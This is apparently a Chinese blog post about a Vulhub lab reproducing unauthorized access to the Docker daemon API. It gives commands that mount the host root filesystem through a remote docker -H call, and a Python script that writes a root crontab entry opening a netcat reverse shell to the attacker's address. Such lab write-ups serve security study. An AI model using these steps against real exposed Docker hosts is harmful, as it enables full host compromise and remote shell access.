Vulhub 漏洞学习之:Docker

1 docker daemon api 未授权访问漏洞

  1. 存在可以启动的容器
  2. docker 守护进程监听在0.0.0.0,外网可访问
  3. 没有使用iptable等限制可连接的来源ip。

参考链接:

1.1 漏洞利用过程

  1. 访问your-ip:2375/version验证是否搭建成功

  2. 远程对被攻击主机的docker容器进行操作

    # 查看目标主机的主容器
    docker -H tcp://10.5.7.211:2375 images # 远程启动被攻击主机的docker容器,并挂载宿主机的根目录
    docker -H tcp://10.5.7.211:2375 run -it -v /:/mnt imagelD /bin/bash # 可对宿主机进行远程文件操作
    cd /mnt
  3. 启动一个容器,并将宿主机的/etc目录挂载到容器中,便可以任意读写文件了。

    import docker
    
    client = docker.DockerClient(base_url='http://your-ip:2375/')
    data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc your-ip 21 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})
  4. 将命令写入crontab配置文件,进行反弹shell。

Vulhub 漏洞学习之:Docker的更多相关文章

  1. KALI搭建Docker+Vulhub漏洞复现环境

    在学习网络安全的过程中,少不了的就是做漏洞复现,而漏洞复现一般比较常用的方式就是使用docker-vulhub进行环境搭建,我近期也遇到了这个问题,但是网上的教程特别混乱,根本起不到帮助作用,即使有可 ...

  2. vulhub漏洞环境

    0x00 vulhub介绍 Vulhub是一个基于docker和docker-compose的漏洞环境集合,进入对应目录并执行一条语句即可启动一个全新的漏洞环境,让漏洞复现变得更加简单,让安全研究者更 ...

  3. FastJson远程命令执行漏洞学习笔记

    FastJson远程命令执行漏洞学习笔记 Fastjson简介 fastjson用于将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean.fastjson.ja ...

  4. ubuntu搭建vulhub漏洞环境

    0x01 简介 Vulhub是一个面向大众的开源漏洞靶场,无需docker知识,简单执行两条命令即可编译.运行一个完整的漏洞靶场镜像.旨在让漏洞复现变得更加简单,让安全研究者更加专注于漏洞原理本身. ...

  5. PWN二进制漏洞学习指南

    目录 PWN二进制漏洞学习指南 前言 前置技能 PWN概念 概述 发音 术语 PWN环境搭建 PWN知识学习途径 常见漏洞 安全机制 PWN技巧 PWN相关资源博客 Pwn菜鸡小分队 PWN二进制漏洞 ...

  6. XSS漏洞学习笔记

    XSS漏洞学习 简介 xss漏洞,英文名为cross site scripting. xss最大的特点就是能注入恶意的代码到用户浏览器的网页上,从而达到劫持用户会话的目的. 说白了就是想尽办法让你加载 ...

  7. Docker学习之Docker容器基本使用

    Docker学习之Docker容器基本使用 新建容器并启动 命令格式:docker run --options repository:tag 后台运行 命令格式:-d 已存在的容器相关操作 启动:do ...

  8. Docker学习之Docker镜像基本使用

    Docker学习之Docker镜像基本使用 获取镜像 命令格式:docker pull [选项] [Docker Registry 地址[:端口号]/]仓库名[:标签] 例如: docker pull ...

  9. Typecho-反序列化漏洞学习

    目录 Typecho-反序列化漏洞学习 0x00 前言 0x01 分析过程 0x02 调试 0x03 总结 0xFF 参考 Typecho-反序列化漏洞学习 0x00 前言 补丁: https://g ...

  10. 学习强国docker文件用法

    学习强国docker用法 docker文件地址   https://github.com/fuck-xuexiqiangguo/docker 构建  docker  docker build -t D ...

随机推荐

  1. 防御式编程之断言assert的使用

    防御式编程的重点就是需要防御一些程序未曾预料的错误,这是一种提高软件质量的辅助性方法,断言assert就用于防御式编程,编写代码时,我们总是会做出一些假设,断言就是用于在代码中捕捉这些假设.使用断言是 ...

  2. MongoDB海量数据分页查询优化

    MongoDB海量数据分页查询优化 一.背景 大量数据需从Mongo拿出来,一次性拿出来不科学,传统分页效率低下 二.传统方案 就是最常规的方案,假设 我们需要对文章 articles 这个表(集合) ...

  3. python自然语言处理(NLP)1------中文分词1,基于规则的中文分词方法

    python中文分词方法之基于规则的中文分词 目录 常见中文分词方法 推荐中文分词工具 参考链接 一.四种常见的中文分词方法: 基于规则的中文分词 基于统计的中文分词 深度学习中文分词 混合分词方法 ...

  4. python基础之hashilb模块、logging模块

    hashlib加密模块 1.何为加密 将文明数据处理成密文数据 让人无法看懂 2.为什么要加密 保证数据的安全,防止密码泄露 3.如何判断数据是否加密 密文数据的表现形式一般都是一串没有规则的字符串( ...

  5. 如何使用 IdGen 生成 UID

    在分布式系统中,雪花 ID 是一种常用的唯一 ID 生成算法.它通过结合时间戳.机器码和自增序列来生成 64 位整数 ID,可以保证 ID 的唯一性和顺序性. 在.Net 项目中,我们可以使用 IdG ...

  6. cs231n__4.1 Backpropagation and Neural Network

    CS231n 4.1 Backpropagation 回顾: 两个损失函数: 优化的方法: 如何计算梯度: 用有限差分估计 直接计算偏导数(解析梯度) 今天,我们要学习如何计算任意复杂度的解析梯度 要 ...

  7. ssm——springMVC整理

    目录 1.概念 1.1.什么是SpringMVC 1.2.B/S架构 1.3.MVC结构 1.4.Spring MVC常用名词 1.5.常用注解 1.6.rest和restfull 1.7.Reque ...

  8. 2022CSP-J线上游记

    写在前面 安徽CSP取消了-- 去年CSP考炸的我本来想今年一雪前耻(bushi),结果-- T1 第一题大毒瘤! 首先观察数据可以分类如下两种情况: \(a = 1\) 直接输出\(1\),retu ...

  9. TCP\ip 地址总结

    127.0.0.1 本地回环地址,一般用于测试网卡是否正常工作 192.168.1.0 代表网络地址一个网络段 192.168.1.1-254 可用网络地址 192.168.1.255 广播地址!  

  10. SPOJ GCDMAT - GCD OF MATRIX

    简要题意 给出三个整数 \(T,n,m\),\(T\) 组询问,每组询问给出四个整数 \(i_1,j_1,i_2,j_2\)(数据保证 \(i_1,j_1\leq n\ \ i_2,j_2\leq m ...